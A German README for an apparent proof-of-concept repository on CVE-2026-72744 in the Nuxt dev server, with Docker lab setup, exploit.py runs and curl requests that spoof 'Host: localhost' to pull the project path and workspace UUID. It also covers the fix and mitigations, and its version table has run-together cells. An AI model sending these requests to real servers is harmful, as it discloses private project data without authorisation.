
Proof-of-Concept-Exploit für CVE-2026-72744, eine Schwachstelle zur Offenlegung von Informationen im Chrome-DevTools-Arbeitsbereichs-Endpunkt des Nuxt-Entwicklungsservers. Demonstriert den Fehler und verifiziert die Behebung.
Dieses Repository ist ein Proof of Concept (PoC) für die Informationsleak-Schwachstelle CVE-2026-72744 im Chrome DevTools workspace-Endpunkt des Nuxt-Entwicklungsservers.
Der anfällige Entwicklungsserver bestimmt, ob der Verbindungsaufbau lokal ist, nicht über die TCP-Peer-Adresse, sondern über vom Angreifer steuerbare HTTP-Header wie Host. Wenn der Entwicklungsserver an 0.0.0.0 gebunden ist, kann ein nicht authentifizierter Angreifer im LAN über eine Anfrage mit Host: localhost den absoluten Projektpfad und die persistente workspace-UUID abrufen.
Dieses PoC startet Nuxt 4.5.0 (anfällige Version) und 4.5.1 (behobene Version) in Docker und sendet vom Host aus dieselbe Anfrage, um die unterschiedlichen Verhaltensweisen zu überprüfen. Es werden keine Dateien gelesen oder geschrieben und kein Code ausgeführt.
Nur für Bildungszwecke und autorisierte Sicherheitsüberprüfungen verwenden. Senden Sie keine unaufgeforderten Anfragen an Umgebungen Dritter.
>= 4.4.7, < 4.5.1 und >= 3.21.7, < 3.21.104.5.1 / 3.21.10experimental.chromeDevtoolsProjectSettingsrootDir und der projektspezifischen workspace-UUIDIn der anfälligen Version behandelt isLocalDevRequest eine Anfrage als lokal, wenn Host auf der Zulassungsliste steht und keine browserbasierten Cross-Site-Header vorhanden sind. Nicht-Browser-Clients können diese Header frei weglassen oder setzen, sodass die folgende Anfrage die Prüfung besteht.
GET /.well-known/appspecific/com.chrome.devtools.json HTTP/1.1
Host: localhost
Die behobene Version verlangt zusätzlich zur bestehenden Header-Prüfung, dass die tatsächliche TCP-Peer-Adresse Loopback (127.0.0.0/8 oder ::1) ist.
docker compose up -d --build
| URL | Version | Erwartetes Ergebnis |
|---|---|---|
http://localhost:3000 | Nuxt 4.5.0 | HTTP 200, Informationsleak |
http://localhost:3001 | Nuxt 4.5.1 | HTTP 403 |
Der erste Build kann einige Minuten dauern, da npm-Pakete heruntergeladen werden.
python3 exploit.py -t http://localhost:3000 --expect vulnerable
Erwartete Ausgabe:
[!] VULNERABLE: the endpoint disclosed workspace.root and workspace.uuid.
python3 exploit.py -t http://localhost:3001 --expect fixed
Erwartete Ausgabe:
[+] FIXED: the non-loopback request was rejected with HTTP 403.
curl -i -H 'Host: localhost' \
http://localhost:3000/.well-known/appspecific/com.chrome.devtools.json
curl -i -H 'Host: localhost' \
http://localhost:3001/.well-known/appspecific/com.chrome.devtools.json
Da die Anfrage über die Docker-Portweiterleitung läuft, ist die vom Container aus gesehene Verbindungsquelle nicht Loopback. Dadurch lassen sich auf einem einzelnen Host Bedingungen reproduzieren, die einem LAN-Angriff entsprechen.
docker compose down -v
exploit.py setzt Host: localhost und greift ohne Origin, Referer und Sec-Fetch-Site auf den Ziel-Endpunkt zu. Nur wenn das JSON mit HTTP 200 die Zeichenketten workspace.root und workspace.uuid enthält, wird es als anfällig eingestuft. HTTP 403 ist das erwartete Verhalten der behobenen Version.
Aktualisieren Sie Nuxt 4.x auf 4.5.1 oder höher und Nuxt 3.x auf 3.21.10 oder höher. Falls ein Update nicht möglich ist, binden Sie den Entwicklungsserver nur an Loopback oder setzen Sie experimental.chromeDevtoolsProjectSettings: false.